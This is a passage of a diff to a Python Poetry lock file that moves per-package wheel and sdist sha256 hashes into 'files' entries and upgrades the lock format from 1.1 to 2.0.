"sha256:0352db1befcbed2f9282e72843f1963860bf0e0472a4fa5cf8ee084318e0e6ab"}, + {file = "SQLAlchemy-1.3.24-cp36-cp36m-macosx_10_14_x86_64.whl", hash = "sha256:2ed6343b625b16bcb63c5b10523fd15ed8934e1ed0f772c534985e9f5e73d894"}, + {file = "SQLAlchemy-1.3.24-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:34fcec18f6e4b24b4a5f6185205a04f1eab1e56f8f1d028a2a03694ebcc2ddd4"}, + {file = "SQLAlchemy-1.3.24-cp36-cp36m-manylinux2010_x86_64.whl", hash = "sha256:e47e257ba5934550d7235665eee6c911dc7178419b614ba9e1fbb1ce6325b14f"}, + {file = "SQLAlchemy-1.3.24-cp36-cp36m-manylinux2014_aarch64.whl", hash = "sha256:816de75418ea0953b5eb7b8a74933ee5a46719491cd2b16f718afc4b291a9658"}, + {file = "SQLAlchemy-1.3.24-cp36-cp36m-win32.whl", hash = "sha256:26155ea7a243cbf23287f390dba13d7927ffa1586d3208e0e8d615d0c506f996"}, + {file = "SQLAlchemy-1.3.24-cp36-cp36m-win_amd64.whl", hash = "sha256:f03bd97650d2e42710fbe4cf8a59fae657f191df851fc9fc683ecef10746a375"}, + {file = "SQLAlchemy-1.3.24-cp37-cp37m-macosx_10_14_x86_64.whl", hash = "sha256:a006d05d9aa052657ee3e4dc92544faae5fcbaafc6128217310945610d862d39"}, + {file = "SQLAlchemy-1.3.24-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:1e2f89d2e5e3c7a88e25a3b0e43626dba8db2aa700253023b82e630d12b37109"}, + {file = "SQLAlchemy-1.3.24-cp37-cp37m-manylinux2010_x86_64.whl", hash = "sha256:0d5d862b1cfbec5028ce1ecac06a3b42bc7703eb80e4b53fceb2738724311443"}, + {file = "SQLAlchemy-1.3.24-cp37-cp37m-manylinux2014_aarch64.whl", hash = "sha256:0172423a27fbcae3751ef016663b72e1a516777de324a76e30efa170dbd3dd2d"}, + {file = "SQLAlchemy-1.3.24-cp37-cp37m-win32.whl", hash = "sha256:d37843fb8df90376e9e91336724d78a32b988d3d20ab6656da4eb8ee3a45b63c"}, + {file = "SQLAlchemy-1.3.24-cp37-cp37m-win_amd64.whl", hash = "sha256:c10ff6112d119f82b1618b6dc28126798481b9355d8748b64b9b55051eb4f01b"}, + {file = "SQLAlchemy-1.3.24-cp38-cp38-macosx_10_14_x86_64.whl", hash = "sha256:861e459b0e97673af6cc5e7f597035c2e3acdfb2608132665406cded25ba64c7"}, + {file = "SQLAlchemy-1.3.24-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:5de2464c254380d8a6c20a2746614d5a436260be1507491442cf1088e59430d2"}, + {file = "SQLAlchemy-1.3.24-cp38-cp38-manylinux2010_x86_64.whl", hash = "sha256:d375d8ccd3cebae8d90270f7aa8532fe05908f79e78ae489068f3b4eee5994e8"}, + {file = "SQLAlchemy-1.3.24-cp38-cp38-manylinux2014_aarch64.whl", hash = "sha256:014ea143572fee1c18322b7908140ad23b3994036ef4c0d630110faf942652f8"}, + {file = "SQLAlchemy-1.3.24-cp38-cp38-win32.whl", hash = "sha256:6607ae6cd3a07f8a4c3198ffbf256c261661965742e2b5265a77cd5c679c9bba"}, + {file = "SQLAlchemy-1.3.24-cp38-cp38-win_amd64.whl", hash = "sha256:fcb251305fa24a490b6a9ee2180e5f8252915fb778d3dafc70f9cc3f863827b9"}, + {file = "SQLAlchemy-1.3.24-cp39-cp39-macosx_10_14_x86_64.whl", hash = "sha256:01aa5f803db724447c1d423ed583e42bf5264c597fd55e4add4301f163b0be48"}, + {file = "SQLAlchemy-1.3.24-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:4d0e3515ef98aa4f0dc289ff2eebb0ece6260bbf37c2ea2022aad63797eacf60"}, + {file = "SQLAlchemy-1.3.24-cp39-cp39-manylinux2010_x86_64.whl", hash = "sha256:bce28277f308db43a6b4965734366f533b3ff009571ec7ffa583cb77539b84d6"}, + {file = "SQLAlchemy-1.3.24-cp39-cp39-manylinux2014_aarch64.whl", hash = "sha256:8110e6c414d3efc574543109ee618fe2c1f96fa31833a1ff36cc34e968c4f233"}, + {file = "SQLAlchemy-1.3.24-cp39-cp39-win32.whl", hash = "sha256:ee5f5188edb20a29c1cc4a039b074fdc5575337c9a68f3063449ab47757bb064"}, + {file = "SQLAlchemy-1.3.24-cp39-cp39-win_amd64.whl", hash = "sha256:09083c2487ca3c0865dc588e07aeaa25416da3d95f7482c07e92f47e080aa17b"}, + {file = "SQLAlchemy-1.3.24.tar.gz", hash = "sha256:ebbb777cbf9312359b897bf81ba00dae0f5cb69fba2a18265dcc18a6f5ef7519"}, +] [package.extras] mssql = ["pyodbc"] mssql-pymssql = ["pymssql"] mssql-pyodbc = ["pyodbc"] mysql = ["mysqlclient"] -oracle = ["cx_oracle"] +oracle = ["cx-oracle"] postgresql = ["psycopg2"] postgresql-pg8000 = ["pg8000 (<1.16.6)"] postgresql-psycopg2binary = ["psycopg2-binary"] @@ -1077,9 +1477,12 @@ pymysql = ["pymysql", "pymysql (<1)"] name = "sqlalchemy-stubs" version = "0.4" description = "SQLAlchemy stubs and mypy plugin" -category = "dev" optional = false python-versions = "*" +files = [ + {file = "sqlalchemy-stubs-0.4.tar.gz", hash = "sha256:c665d6dd4482ef642f01027fa06c3d5e91befabb219dc71fc2a09e7d7695f7ae"}, + {file = "sqlalchemy_stubs-0.4-py3-none-any.whl", hash = "sha256:5eec7aa110adf9b957b631799a72fef396b23ff99fe296df726645d01e312aa5"}, +] [package.dependencies] mypy = ">=0.790" @@ -1089,9 +1492,12 @@ typing-extensions = ">=3.7.4" name = "SQLAlchemy-Utils" version = "0.37.9" description = "Various utility functions for SQLAlchemy." -category = "main" optional = false python-versions = "~=3.4" +files = [ + {file = "SQLAlchemy-Utils-0.37.9.tar.gz", hash = "sha256:4667edbdcb1ece011076b69772ef524bfbb17cc97e03f11ee6b85d98e7741d61"}, + {file = "SQLAlchemy_Utils-0.37.9-py3-none-any.whl", hash = "sha256:bb6f4da8ac044cb0dd4d0278b1fb434141a5ee9d1881c757a076830ddbb04160"}, +] [package.dependencies] six = "*" @@ -1115,33 +1521,74 @@ url = ["furl (>=0.4.1)"] name = "toml" version = "0.10.2" description = "Python Library for Tom's Obvious, Minimal Language" -category = "dev" optional = false python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" +files = [ + {file = "toml-0.10.2-py2.py3-none-any.whl", hash = "sha256:806143ae5bfb6a3c6e736a764057db0e6a0e05e338b5630894a5f779cabb4f9b"}, + {file = "toml-0.10.2.tar.gz", hash = "sha256:b3bda1d108d5dd99f4a20d24d9c348e91c4db7ab1b749200bded2f839ccbe68f"}, +] [[package]] name = "typed-ast" version = "1.4.3" description = "a fork of Python 2 and 3 ast modules with type comment support" -category = "dev" optional = false python-versions = "*" +files = [ + {file = "typed_ast-1.4.3-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:2068531575a125b87a41802130fa7e29f26c09a2833fea68d9a40cf33902eba6"}, + {file = "typed_ast-1.4.3-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:c907f561b1e83e93fad565bac5ba9c22d96a54e7ea0267c708bffe863cbe4075"}, + {file = "typed_ast-1.4.3-cp35-cp35m-manylinux2014_aarch64.whl", hash = "sha256:1b3ead4a96c9101bef08f9f7d1217c096f31667617b58de957f690c92378b528"}, + {file = "typed_ast-1.4.3-cp35-cp35m-win32.whl", hash = "sha256:dde816ca9dac1d9c01dd504ea5967821606f02e510438120091b84e852367428"}, + {file = "typed_ast-1.4.3-cp35-cp35m-win_amd64.whl", hash = "sha256:777a26c84bea6cd934422ac2e3b78863a37017618b6e5c08f92ef69853e765d3"}, + {file = "typed_ast-1.4.3-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:f8afcf15cc511ada719a88e013cec87c11aff7b91f019295eb4530f96fe5ef2f"}, + {file = "typed_ast-1.4.3-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:52b1eb8c83f178ab787f3a4283f68258525f8d70f778a2f6dd54d3b5e5fb4341"}, + {file = "typed_ast-1.4.3-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:01ae5f73431d21eead5015997ab41afa53aa1fbe252f9da060be5dad2c730ace"}, + {file = "typed_ast-1.4.3-cp36-cp36m-manylinux2014_aarch64.whl", hash = "sha256:c190f0899e9f9f8b6b7863debfb739abcb21a5c054f911ca3596d12b8a4c4c7f"}, + {file = "typed_ast-1.4.3-cp36-cp36m-win32.whl", hash = "sha256:398e44cd480f4d2b7ee8d98385ca104e35c81525dd98c519acff1b79bdaac363"}, + {file = "typed_ast-1.4.3-cp36-cp36m-win_amd64.whl", hash = "sha256:bff6ad71c81b3bba8fa35f0f1921fb24ff4476235a6e94a26ada2e54370e6da7"}, + {file = "typed_ast-1.4.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:0fb71b8c643187d7492c1f8352f2c15b4c4af3f6338f21681d3681b3dc31a266"}, + {file = "typed_ast-1.4.3-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:760ad187b1041a154f0e4d0f6aae3e40fdb51d6de16e5c99aedadd9246450e9e"}, + {file = "typed_ast-1.4.3-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:5feca99c17af94057417d744607b82dd0a664fd5e4ca98061480fd8b14b18d04"}, + {file = "typed_ast-1.4.3-cp37-cp37m-manylinux2014_aarch64.whl", hash = "sha256:95431a26309a21874005845c21118c83991c63ea800dd44843e42a916aec5899"}, + {file = "typed_ast-1.4.3-cp37-cp37m-win32.whl", hash = "sha256:aee0c1256be6c07bd3e1263ff920c325b59849dc95392a05f258bb9b259cf39c"}, + {file = "typed_ast-1.4.3-cp37-cp37m-win_amd64.whl", hash = "sha256:9ad2c92ec681e02baf81fdfa056fe0d818645efa9af1f1cd5fd6f1bd2bdfd805"}, + {file = "typed_ast-1.4.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:b36b4f3920103a25e1d5d024d155c504080959582b928e91cb608a65c3a49e1a"}, + {file = "typed_ast-1.4.3-cp38-cp38-manylinux1_i686.whl", hash = "sha256:067a74454df670dcaa4e59349a2e5c81e567d8d65458d480a5b3dfecec08c5ff"}, + {file = "typed_ast-1.4.3-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:7538e495704e2ccda9b234b82423a4038f324f3a10c43bc088a1636180f11a41"}, + {file = "typed_ast-1.4.3-cp38-cp38-manylinux2014_aarch64.whl", hash = "sha256:af3d4a73793725138d6b334d9d247ce7e5f084d96284ed23f22ee626a7b88e39"}, + {file = "typed_ast-1.4.3-cp38-cp38-win32.whl", hash = "sha256:f2362f3cb0f3172c42938946dbc5b7843c2a28aec307c49100c8b38764eb6927"}, + {file = "typed_ast-1.4.3-cp38-cp38-win_amd64.whl", hash = "sha256:dd4a21253f42b8d2b48410cb31fe501d32f8b9fbeb1f55063ad102fe9c425e40"}, + {file = "typed_ast-1.4.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:f328adcfebed9f11301eaedfa48e15bdece9b519fb27e6a8c01aa52a17ec31b3"}, + {file = "typed_ast-1.4.3-cp39-cp39-manylinux1_i686.whl", hash = "sha256:2c726c276d09fc5c414693a2de063f521052d9ea7c240ce553316f70656c84d4"}, + {file = "typed_ast-1.4.3-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:cae53c389825d3b46fb37538441f75d6aecc4174f615d048321b716df2757fb0"}, + {file = "typed_ast-1.4.3-cp39-cp39-manylinux2014_aarch64.whl", hash = "sha256:b9574c6f03f685070d859e75c7f9eeca02d6933273b5e69572e5ff9d5e3931c3"}, + {file = "typed_ast-1.4.3-cp39-cp39-win32.whl", hash = "sha256:209596a4ec71d990d71d5e0d312ac935d86930e6eecff6ccc7007fe54d703808"}, + {file = "typed_ast-1.4.3-cp39-cp39-win_amd64.whl", hash = "sha256:9c6d1a54552b5330bc657b7ef0eae25d00ba7ffe85d9ea8ae6540d2197a3788c"}, + {file = "typed_ast-1.4.3.tar.gz", hash = "sha256:fb1bbeac803adea29cedd70781399c99138358c26d05fcbd23c13016b7f5ec65"}, +] [[package]] name = "typing-extensions" version = "3.10.0.0" description = "Backported and Experimental Type Hints for Python 3.5+" -category = "main" optional = false python-versions = "*" +files = [ + {file = "typing_extensions-3.10.0.0-py2-none-any.whl", hash = "sha256:0ac0f89795dd19de6b97debb0c6af1c70987fd80a2d62d1958f7e56fcc31b497"}, + {file = "typing_extensions-3.10.0.0-py3-none-any.whl", hash = "sha256:779383f6086d90c99ae41cf0ff39aac8a7937a9283ce0a414e5dd782f4c94a84"}, + {file = "typing_extensions-3.10.0.0.tar.gz", hash = "sha256:50b6f157849174217d0656f99dc82fe932884fb250826c18350e159ec6cdf342"}, +] [[package]] name = "urllib3" version = "1.26.6" description = "HTTP library with thread-safe connection pooling, file post, and more." -category = "main" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, <4" +files = [ + {file = "urllib3-1.26.6-py2.py3-none-any.whl", hash = "sha256:39fb8672126159acb139a7718dd10806104dec1e2f0f6c88aab05d17df10c8d4"}, + {file = "urllib3-1.26.6.tar.gz", hash = "sha256:f57b4c16c62fa2760b7e3d97c35b255512fb6b59a259730f36ba32ce9f8e342f"}, +] [package.extras] brotli = ["brotlipy (>=0.6.0)"] @@ -1152,17 +1599,23 @@ socks = ["PySocks (>=1.5.6,!=1.5.7,<2.0)"] name = "wcwidth" version = "0.2.5" description = "Measures the displayed width of unicode strings in a terminal" -category = "main" optional = false python-versions = "*" +files = [ + {file = "wcwidth-0.2.5-py2.py3-none-any.whl", hash = "sha256:beb4802a9cebb9144e99086eff703a642a13d6a0052920003a230f3294bbe784"}, + {file = "wcwidth-0.2.5.tar.gz", hash = "sha256:c4d647b99872929fdb7bdcaa4fbe7f01413ed3d98077df798530e5b04f116c83"}, +] [[package]] name = "werkzeug" version = "2.0.1" description = "The comprehensive WSGI web application library." -category = "dev" optional = false python-versions = ">=3.6" +files = [ + {file = "Werkzeug-2.0.1-py3-none-any.whl", hash = "sha256:6c1ec500dcdba0baa27600f6a22f6333d8b662d22027ff9f6202e3367413caa8"}, + {file = "Werkzeug-2.0.1.tar.gz", hash = "sha256:1de1db30d010ff1af14a009224ec49ab2329ad2cde454c8a708130642d579c42"}, +] [package.extras] watchdog = ["watchdog"] @@ -1171,9 +1624,12 @@ watchdog = ["watchdog"] name = "wheel" version = "0.37.1" description = "A built-package format for Python" -category = "main" optional = false python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7" +files = [ + {file = "wheel-0.37.1-py2.py3-none-any.whl", hash = "sha256:4bdcd7d840138086126cd09254dc6195fb4fc6f01c050a1d7236f2630db1d22a"}, + {file = "wheel-0.37.1.tar.gz", hash = "sha256:e9a504e793efbca1b8e0e9cb979a249cf4a0a7b5b8c9e8b65a5e39d49529c1c4"}, +] [package.extras] test = ["pytest (>=3.0.0)", "pytest-cov"] @@ -1182,561 +1638,29 @@ test = ["pytest (>=3.0.0)", "pytest-cov"] name = "xmltodict" version = "0.12.0" description = "Makes working with XML feel like you are working with JSON" -category = "dev" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +files = [ + {file = "xmltodict-0.12.0-py2.py3-none-any.whl", hash = "sha256:8bbcb45cc982f48b2ca8fe7e7827c5d792f217ecf1792626f808bf41c3b86051"}, + {file = "xmltodict-0.12.0.tar.gz", hash = "sha256:50d8c638ed7ecb88d90561beedbf720c9b4e851a9fa6c47ebd64e99d166d8a21"}, +] [[package]] name = "zipp" version = "3.5.0" description = "Backport of pathlib-compatible object wrapper for zip files" -category = "dev" optional = false python-versions = ">=3.6" +files = [ + {file = "zipp-3.5.0-py3-none-any.whl", hash = "sha256:957cfda87797e389580cb8b9e3870841ca991e2125350677b2ca83a0e99390a3"}, + {file = "zipp-3.5.0.tar.gz", hash = "sha256:f5812b1e007e48cff63449a5e9f4e7ebea716b4111f9c4f9a645f91d579bf0c4"}, +] [package.extras] docs = ["jaraco.packaging (>=8.2)", "rst.linker (>=1.9)", "sphinx"] testing = ["func-timeout", "jaraco.itertools", "pytest (>=4.6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.0.1)", "pytest-flake8", "pytest-mypy"] [metadata] -lock-version = "1.1" +lock-version = "2.0" python-versions = "^3.7" content-hash = "9f4e12eaabdd72f1b6d11da8c1d0b9bb1f103dfbec0cc24054a47b17b1ec6314" - -[metadata.files] -ansicon = [ - {file = "ansicon-1.89.0-py2.py3-none-any.whl", hash = "sha256:f1def52d17f65c2c9682cf8370c03f541f410c1752d6a14029f97318e4b9dfec"}, - {file = "ansicon-1.89.0.tar.gz", hash = "sha256:e4d039def5768a47e4afec8e89e83ec3ae5a26bf00ad851f914d1240b444d2b1"}, -] -atomicwrites = [ - {file = "atomicwrites-1.4.0-py2.py3-none-any.whl", hash = "sha256:6d1784dea7c0c8d4a5172b6c620f40b6e4cbfdf96d783691f2e1302a7b88e197"}, - {file = "atomicwrites-1.4.0.tar.gz", hash = "sha256:ae70396ad1a434f9c7046fd2dd196fc04b12f9e91ffb859164193be8b6168a7a"}, -] -attrs = [ - {file = "attrs-20.3.0-py2.py3-none-any.whl", hash = "sha256:31b2eced602aa8423c2aea9c76a724617ed67cf9513173fd3a4f03e3a929c7e6"}, - {file = "attrs-20.3.0.tar.gz", hash = "sha256:832aa3cde19744e49938b91fea06d69ecb9e649c93ba974535d08ad92164f700"}, -] -awscli = [ - {file = "awscli-1.20.13-py3-none-any.whl", hash = "sha256:1039ab7ac6051297162ce96cbff4fd5dfc4d3a9c9796a856aeab0f460806d118"}, - {file = "awscli-1.20.13.tar.gz", hash = "sha256:a9a580916b6934f6bcc0356184bf802eb573374b532da2d6a01c4a2129e214cc"}, -] -blessed = [ - {file = "blessed-1.17.6-py2.py3-none-any.whl", hash = "sha256:8371d69ac55558e4b1591964873d6721136e9ea17a730aeb3add7d27761b134b"}, - {file = "blessed-1.17.6.tar.gz", hash = "sha256:a9a774fc6eda05248735b0d86e866d640ca2fef26038878f7e4d23f7749a1e40"}, -] -boto3 = [ - {file = "boto3-1.18.13-py3-none-any.whl", hash = "sha256:bd6524c4ac854eb1fa31ab7040d405385f11231b84988b2a5c8e9896a3da0bf1"}, - {file = "boto3-1.18.13.tar.gz", hash = "sha256:8c3676239a35eba465e7df2df58ca400219729d4b732b7202f18caf0308ececa"}, -] -boto3-stubs = [ - {file = "boto3-stubs-1.18.13.tar.gz", hash = "sha256:8c3f6fe8f40564dbdca6a86316372f59ade668526ad99c52fd0cadb148f334cb"}, - {file = "boto3_stubs-1.18.13-py3-none-any.whl", hash = "sha256:1dcdb88e561b775b898e163797400c186e7647ee80014a10861a073f94ad1fea"}, -] -botocore = [ - {file = "botocore-1.21.13-py3-none-any.whl", hash = "sha256:ce20da2dff6ab36ebee3b2efdf0bcc859ee1a7f8ec0d2ae3eaac5f50f6c729fd"}, - {file = "botocore-1.21.13.tar.gz", hash = "sha256:37c1c17326f9c81aba73efc6b496ccfe536822e576bc89ceee460dc18108f3a0"}, -] -botocore-stubs = [ - {file = "botocore-stubs-1.21.13.tar.gz", hash = "sha256:5e8da6f6de18589def5410719a451f5c79b7720ba58da5784810dcef7d47df4e"}, - {file = "botocore_stubs-1.21.13-py3-none-any.whl", hash = "sha256:8a4619ded9f2887f346b22e05c879afa3d45f31b0b23ca58cfa82188742eccb3"}, -] -certifi = [ - {file = "certifi-2022.12.7-py3-none-any.whl", hash = "sha256:4ad3232f5e926d6718ec31cfc1fcadfde020920e278684144551c91769c7bc18"}, - {file = "certifi-2022.12.7.tar.gz", hash = "sha256:35824b4c3a97115964b408844d64aa14db1cc518f6562e8d7261699d1350a9e3"}, -] -cffi = [ - {file = "cffi-1.14.6-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:22b9c3c320171c108e903d61a3723b51e37aaa8c81255b5e7ce102775bd01e2c"}, - {file = "cffi-1.14.6-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:f0c5d1acbfca6ebdd6b1e3eded8d261affb6ddcf2186205518f1428b8569bb99"}, - {file = "cffi-1.14.6-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:99f27fefe34c37ba9875f224a8f36e31d744d8083e00f520f133cab79ad5e819"}, - {file = "cffi-1.14.6-cp27-cp27m-win32.whl", hash = "sha256:55af55e32ae468e9946f741a5d51f9896da6b9bf0bbdd326843fec05c730eb20"}, - {file = "cffi-1.14.6-cp27-cp27m-win_amd64.whl", hash = "sha256:7bcac9a2b4fdbed2c16fa5681356d7121ecabf041f18d97ed5b8e0dd38a80224"}, - {file = "cffi-1.14.6-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:ed38b924ce794e505647f7c331b22a693bee1538fdf46b0222c4717b42f744e7"}, - {file = "cffi-1.14.6-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:e22dcb48709fc51a7b58a927391b23ab37eb3737a98ac4338e2448bef8559b33"}, - {file = "cffi-1.14.6-cp35-cp35m-macosx_10_9_x86_64.whl", hash = "sha256:aedb15f0a5a5949ecb129a82b72b19df97bbbca024081ed2ef88bd5c0a610534"}, - {file = "cffi-1.14.6-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:48916e459c54c4a70e52745639f1db524542140433599e13911b2f329834276a"}, - {file = "cffi-1.14.6-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:f627688813d0a4140153ff532537fbe4afea5a3dffce1f9deb7f91f848a832b5"}, - {file = "cffi-1.14.6-cp35-cp35m-win32.whl", hash = "sha256:f0010c6f9d1a4011e429109fda55a225921e3206e7f62a0c22a35344bfd13cca"}, - {file = "cffi-1.14.6-cp35-cp35m-win_amd64.whl", hash = "sha256:57e555a9feb4a8460415f1aac331a2dc833b1115284f7ded7278b54afc5bd218"}, - {file = "cffi-1.14.6-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:e8c6a99be100371dbb046880e7a282152aa5d6127ae01783e37662ef73850d8f"}, - {file = "cffi-1.14.6-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:19ca0dbdeda3b2615421d54bef8985f72af6e0c47082a8d26122adac81a95872"}, - {file = "cffi-1.14.6-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:d950695ae4381ecd856bcaf2b1e866720e4ab9a1498cba61c602e56630ca7195"}, - {file = "cffi-1.14.6-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e9dc245e3ac69c92ee4c167fbdd7428ec1956d4e754223124991ef29eb57a09d"}, - {file = "cffi-1.14.6-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a8661b2ce9694ca01c529bfa204dbb144b275a31685a075ce123f12331be790b"}, - {file = "cffi-1.14.6-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b315d709717a99f4b27b59b021e6207c64620790ca3e0bde636a6c7f14618abb"}, - {file = "cffi-1.14.6-cp36-cp36m-win32.whl", hash = "sha256:80b06212075346b5546b0417b9f2bf467fea3bfe7352f781ffc05a8ab24ba14a"}, - {file = "cffi-1.14.6-cp36-cp36m-win_amd64.whl", hash = "sha256:a9da7010cec5a12193d1af9872a00888f396aba3dc79186604a09ea3ee7c029e"}, - {file = "cffi-1.14.6-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:4373612d59c404baeb7cbd788a18b2b2a8331abcc84c3ba40051fcd18b17a4d5"}, - {file = "cffi-1.14.6-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:f10afb1004f102c7868ebfe91c28f4a712227fe4cb24974350ace1f90e1febbf"}, - {file = "cffi-1.14.6-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:fd4305f86f53dfd8cd3522269ed7fc34856a8ee3709a5e28b2836b2db9d4cd69"}, - {file = "cffi-1.14.6-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6d6169cb3c6c2ad50db5b868db6491a790300ade1ed5d1da29289d73bbe40b56"}, - {file = "cffi-1.14.6-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5d4b68e216fc65e9fe4f524c177b54964af043dde734807586cf5435af84045c"}, - {file = "cffi-1.14.6-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:33791e8a2dc2953f28b8d8d300dde42dd929ac28f974c4b4c6272cb2955cb762"}, - {file = "cffi-1.14.6-cp37-cp37m-win32.whl", hash = "sha256:0c0591bee64e438883b0c92a7bed78f6290d40bf02e54c5bf0978eaf36061771"}, - {file = "cffi-1.14.6-cp37-cp37m-win_amd64.whl", hash = "sha256:8eb687582ed7cd8c4bdbff3df6c0da443eb89c3c72e6e5dcdd9c81729712791a"}, - {file = "cffi-1.14.6-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:ba6f2b3f452e150945d58f4badd92310449876c4c954836cfb1803bdd7b422f0"}, - {file = "cffi-1.14.6-cp38-cp38-manylinux1_i686.whl", hash = "sha256:64fda793737bc4037521d4899be780534b9aea552eb673b9833b01f945904c2e"}, - {file = "cffi-1.14.6-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:9f3e33c28cd39d1b655ed1ba7247133b6f7fc16fa16887b120c0c670e35ce346"}, - {file = "cffi-1.14.6-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:26bb2549b72708c833f5abe62b756176022a7b9a7f689b571e74c8478ead51dc"}, - {file = "cffi-1.14.6-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:eb687a11f0a7a1839719edd80f41e459cc5366857ecbed383ff376c4e3cc6afd"}, - {file = "cffi-1.14.6-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d2ad4d668a5c0645d281dcd17aff2be3212bc109b33814bbb15c4939f44181cc"}, - {file = "cffi-1.14.6-cp38-cp38-win32.whl", hash = "sha256:487d63e1454627c8e47dd230025780e91869cfba4c753a74fda196a1f6ad6548"}, - {file = "cffi-1.14.6-cp38-cp38-win_amd64.whl", hash = "sha256:c33d18eb6e6bc36f09d793c0dc58b0211fccc6ae5149b808da4a62660678b156"}, - {file = "cffi-1.14.6-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:06c54a68935738d206570b20da5ef2b6b6d92b38ef3ec45c5422c0ebaf338d4d"}, - {file = "cffi-1.14.6-cp39-cp39-manylinux1_i686.whl", hash = "sha256:f174135f5609428cc6e1b9090f9268f5c8935fddb1b25ccb8255a2d50de6789e"}, - {file = "cffi-1.14.6-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:f3ebe6e73c319340830a9b2825d32eb6d8475c1dac020b4f0aa774ee3b898d1c"}, - {file = "cffi-1.14.6-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3c8d896becff2fa653dc4438b54a5a25a971d1f4110b32bd3068db3722c80202"}, - {file = "cffi-1.14.6-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4922cd707b25e623b902c86188aca466d3620892db76c0bdd7b99a3d5e61d35f"}, - {file = "cffi-1.14.6-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c9e005e9bd57bc987764c32a1bee4364c44fdc11a3cc20a40b93b444984f2b87"}, - {file = "cffi-1.14.6-cp39-cp39-win32.whl", hash = "sha256:eb9e2a346c5238a30a746893f23a9535e700f8192a68c07c0258e7ece6ff3728"}, - {file = "cffi-1.14.6-cp39-cp39-win_amd64.whl", hash = "sha256:818014c754cd3dba7229c0f5884396264d51ffb87ec86e927ef0be140bfdb0d2"}, - {file = "cffi-1.14.6.tar.gz", hash = "sha256:c9a875ce9d7fe32887784274dd533c57909b7b1dcadcc128a2ac21331a9765dd"}, -] -chalice = [ - {file = "chalice-1.24.1-py3-none-any.whl", hash = "sha256:2d0e7f441b4e98c744edbe3ef7a6cd642703257ae6c839198e1160dbc4233709"}, - {file = "chalice-1.24.1.tar.gz", hash = "sha256:cc61396dd0d7ffb5f773e879cce6ed5e5802a7d919c874a61418a1f7a7434eaa"}, -] -charset-normalizer = [ - {file = "charset-normalizer-2.0.4.tar.gz", hash = "sha256:f23667ebe1084be45f6ae0538e4a5a865206544097e4e8bbcacf42cd02a348f3"}, - {file = "charset_normalizer-2.0.4-py3-none-any.whl", hash = "sha256:0c8911edd15d19223366a194a513099a302055a962bca2cec0f54b8b63175d8b"}, -] -click = [ - {file = "click-7.1.2-py2.py3-none-any.whl", hash = "sha256:dacca89f4bfadd5de3d7489b7c8a566eee0d3676333fbb50030263894c38c0dc"}, - {file = "click-7.1.2.tar.gz", hash = "sha256:d2b5255c7c6349bc1bd1e59e08cd12acbbd63ce649f2588755783aa94dfb6b1a"}, -] -colorama = [ - {file = "colorama-0.4.3-py2.py3-none-any.whl", hash = "sha256:7d73d2a99753107a36ac6b455ee49046802e59d9d076ef8e47b61499fa29afff"}, - {file = "colorama-0.4.3.tar.gz", hash = "sha256:e96da0d330793e2cb9485e9ddfd918d456036c7149416295932478192f4436a1"}, -] -cryptography = [ - {file = "cryptography-3.4.7-cp36-abi3-macosx_10_10_x86_64.whl", hash = "sha256:3d8427734c781ea5f1b41d6589c293089704d4759e34597dce91014ac125aad1"}, - {file = "cryptography-3.4.7-cp36-abi3-macosx_11_0_arm64.whl", hash = 